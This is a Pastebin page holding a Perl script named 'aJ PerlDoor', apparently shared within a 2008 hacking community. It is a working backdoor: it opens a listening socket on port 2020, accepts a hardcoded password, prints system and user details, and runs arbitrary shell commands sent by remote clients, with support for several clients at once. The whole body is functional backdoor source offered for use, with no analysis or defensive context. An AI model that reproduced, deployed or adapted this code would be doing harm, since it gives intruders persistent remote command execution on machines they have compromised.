Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.27 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use strict;
  3. ########################################
  4. #     _____                      ___                
  5. #    /  /::\       ___          /__/|        ___    
  6. #   /  /:/\:\     /  /\        |  |:|       /  /\    
  7. #  /  /:/  \:\   /  /:/        |  |:|      /  /:/    
  8. # /__/:/ \__\:| /__/::\      __|  |:|     /__/::\    
  9. # \  \:\ /  /:/ \__\/\:\__  /__/\_|:|____ \__\/\:\__
  10. #  \  \:\  /:/     \  \:\/\ \  \:\/:::::/    \  \:\/\
  11. #   \  \:\/:/       \__\::/  \  \::/~~~~      \__\::/
  12. #    \  \::/        /__/:/    \  \:\          /__/:/
  13. #     \__\/         \__\/      \  \:\         \__\/  
  14. #                               \__\/                
  15. ########################################    
  16. print('
  17. ########################################
  18. ## aJ PerlDoor                        ##
  19. ## By ayam_jago                       ##
  20. ## Β© Sep-Okt 2008, FeeLCoMz Community ##
  21. ########################################
  22. ');
  23. #################################
  24. ## Features:                   ##
  25. ## + Multiclient               ##
  26. ## + Password protected (v0.2) ##
  27. ## + STDERR handling (v0.3)    ##
  28. #################################
  29.  
  30. use IO::Socket;
  31. use IO::Select;
  32.  
  33. my $ver = "v0.3";
  34.  
  35. ##[ CONFIGURATIONS ]##
  36. my $pass = "jembut";
  37. my $port = 2020;
  38. ##[ END OF CONFIGURATIONS ]##
  39.  
  40. my $listenz  = IO::Socket::INET->new(LocalPort => $port, Listen => 5, Reuse => 1 ) or die("Can't create socket for listening: $!");
  41. print "Listening on port $port\n";
  42. my $clientz = IO::Select->new;
  43. $clientz->add($listenz);
  44. my $askpass = 1;
  45. while (1) {
  46.   my ($readz) = IO::Select->select($clientz, undef, undef, undef);
  47.   foreach my $s (@$readz) {
  48.     if ($s == $listenz) {
  49.       my $ns = $listenz->accept;
  50.       $clientz->add($ns) if $ns;
  51.       print $ns "Enter password: ";
  52.     }
  53.     else {
  54.       my $buf = <$s>;
  55.       $buf =~ s/\r|\n//g;
  56.       if (defined $buf) {
  57.         if ($askpass == 1) {
  58.           if ($buf eq $pass) {
  59.             $askpass = 2;
  60.             print $s "\rPassword OK!\r\n";
  61.             print $s "Welcome to aJ PerlDoor ".$ver."! Type !die to exit!\r\n";
  62.             print $s "System: ".`uname -a`."\r";
  63.             print $s "Uid: ".`id`."\r";
  64.             ##[ PROMPT ]##
  65.             my $dir = `pwd`; my $usr = `whoami`;
  66.             $dir =~ s/\n//; $usr =~ s/\n//;
  67.             print $s "\r\n[$dir]\r\n$usr\@Cmd: ";
  68.           }
  69.           else {
  70.             print $s "\rEnter password: ";
  71.           }
  72.         }
  73.         else {
  74.           if ($buf =~ /!die/i) {
  75.             print $s "Bye!\r\n";
  76.             $clientz->remove($s);
  77.             $s->close;
  78.           }
  79.           elsif ($buf =~ /cd\s+(.*)/) {
  80.             my $dir = $1; $dir =~ s/\r//; $dir =~ s/\n//;
  81.             chdir $dir or print $s "Can't cd to $dir !\r";
  82.           }
  83.           else {
  84.             #my @output = `$buf 2>&1`;
  85.             #foreach my $out (@output) { print $s "$out\r"; }
  86.             my $output = open(PH, "$buf 2>&1 |");
  87.             while (<PH>) { print $s "$_\r"; }
  88.           }
  89.           ##[ PROMPT ]##
  90.           my $dir = `pwd`; my $usr = `whoami`;
  91.           $dir =~ s/\n//; $usr =~ s/\n//;
  92.           print $s "\r\n[$dir]\r\n$usr\@Cmd: ";
  93.         }
  94.       }
  95.       else {
  96.         $clientz->remove($s);
  97.         $s->close;
  98.         print STDERR "Client closed!\n";
  99.       }
  100.     }
  101.   }
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement